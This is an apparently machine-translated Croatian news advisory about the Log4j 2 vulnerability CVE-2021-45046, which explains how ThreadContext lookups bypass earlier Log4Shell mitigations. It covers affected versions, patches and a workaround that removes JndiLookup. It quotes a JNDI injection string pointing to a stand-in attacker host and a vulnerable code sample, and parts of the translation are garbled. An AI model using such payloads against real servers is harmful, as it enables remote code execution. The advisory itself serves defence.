Nova opcija napada za Log4j 2 koja vam omogućuje zaobilaženje dodatne zaštite

Uočena je još jedna ranjivost u implementaciji JNDI pretraživanja u biblioteci Log4j 2 (CVE-2021-45046), koja se pojavljuje unatoč popravcima dodanim u izdanju 2.15 i bez obzira na upotrebu postavke “log4j2.noFormatMsgLookup” za zaštitu. Problem je opasan uglavnom za starije verzije Log4j 2, zaštićene zastavom "noFormatMsgLookup", jer omogućuje zaobilaženje zaštite od prethodnih ranjivosti (Log4Shell, CVE-2021-44228), što vam omogućuje da izvršite svoj kod na poslužitelj. Za korisnike verzije 2.15, iskorištavanje je ograničeno na izazivanje pada aplikacije zbog iscrpljenosti dostupnih resursa.

Ranjivost se pojavljuje samo na sustavima koji koriste traženje konteksta za bilježenje, kao što je ${ctx:loginId}, ili MDC predloške (Thread Context Map), kao što su %X, %mdc i %MDC. Operacija se svodi na stvaranje uvjeta za ispisivanje podataka koji sadrže JNDI zamjene u zapisnik kada se koriste kontekstni upiti ili MDC predlošci u aplikaciji koji definiraju pravila za formatiranje izlaza u zapisnik.

Istraživači iz LunaSeca primijetili su da se za verzije Log4j manje od 2.15 ova ranjivost može koristiti kao novi vektor za napad Log4Shell, što dovodi do izvršenja koda, ako se izrazi ThreadContext koji uključuju vanjske podatke koriste u izlazu dnevnika, bez obzira na to je li Oznaka "protect" je omogućena. noMsgFormatLookups" ili predložak "%m{nolookups}".

Nova opcija napada za Log4j 2 koja vam omogućuje zaobilaženje dodatne zaštite

Zaobilaženje zaštite svodi se na činjenicu da se umjesto izravne zamjene “${jndi:ldap://attacker.com/a}”, ovaj izraz zamjenjuje pomoću vrijednosti posredne varijable koja se koristi u pravilima za formatiranje izlaza dnevnika . Na primjer, ako se kontekstualni upit ${ctx:apiversion} koristi prilikom izlaza u dnevnik, tada se napad može izvesti zamjenom podataka “${jndi:ldap://attacker.com/a}” u vrijednost upisana u varijablu apiversion. Primjer ranjivog koda: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Vrijednost HTTP zaglavlja "X-Api-Version" prosljeđuje se u ThreadContext ThreadContext.put("apiversion) ", apiVerzija ); // Prilikom izlaza u zapisnik, vrijednost vanjske apiverzije obradit će se korištenjem zamjene ${ctx:apiversion} logger.info("Primljen zahtjev za verziju API-ja"); return "Hello, world!"; }

U Log4j verziji 2.15, ranjivost se može koristiti za izvođenje DoS napada prilikom prosljeđivanja vrijednosti u ThreadContext, što rezultira petljom u obradi predloška formatiranja izlaza.

Nova opcija napada za Log4j 2 koja vam omogućuje zaobilaženje dodatne zaštite

Ažuriranja 2.16 i 2.12.2 objavljena su za blokiranje ranjivosti. U ogranku Log4j 2.16, uz popravke implementirane u verziji 2.15 i vezivanje JNDI LDAP zahtjeva za “localhost”, JNDI funkcionalnost je potpuno onemogućena prema zadanim postavkama i uklonjena je podrška za predloške zamjene poruka. Kao sigurnosno rješenje, predlaže se uklanjanje JndiLookup klase iz classpath-a (na primjer, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .

Pojavljivanje popravaka u paketima možete pratiti na stranicama proizvođača distribucija (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) i Java platformi (GitHub, Docker, Oracle, vmWare, Broadcom i Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure itd.).

Izvor: opennet.ru

Dodajte komentar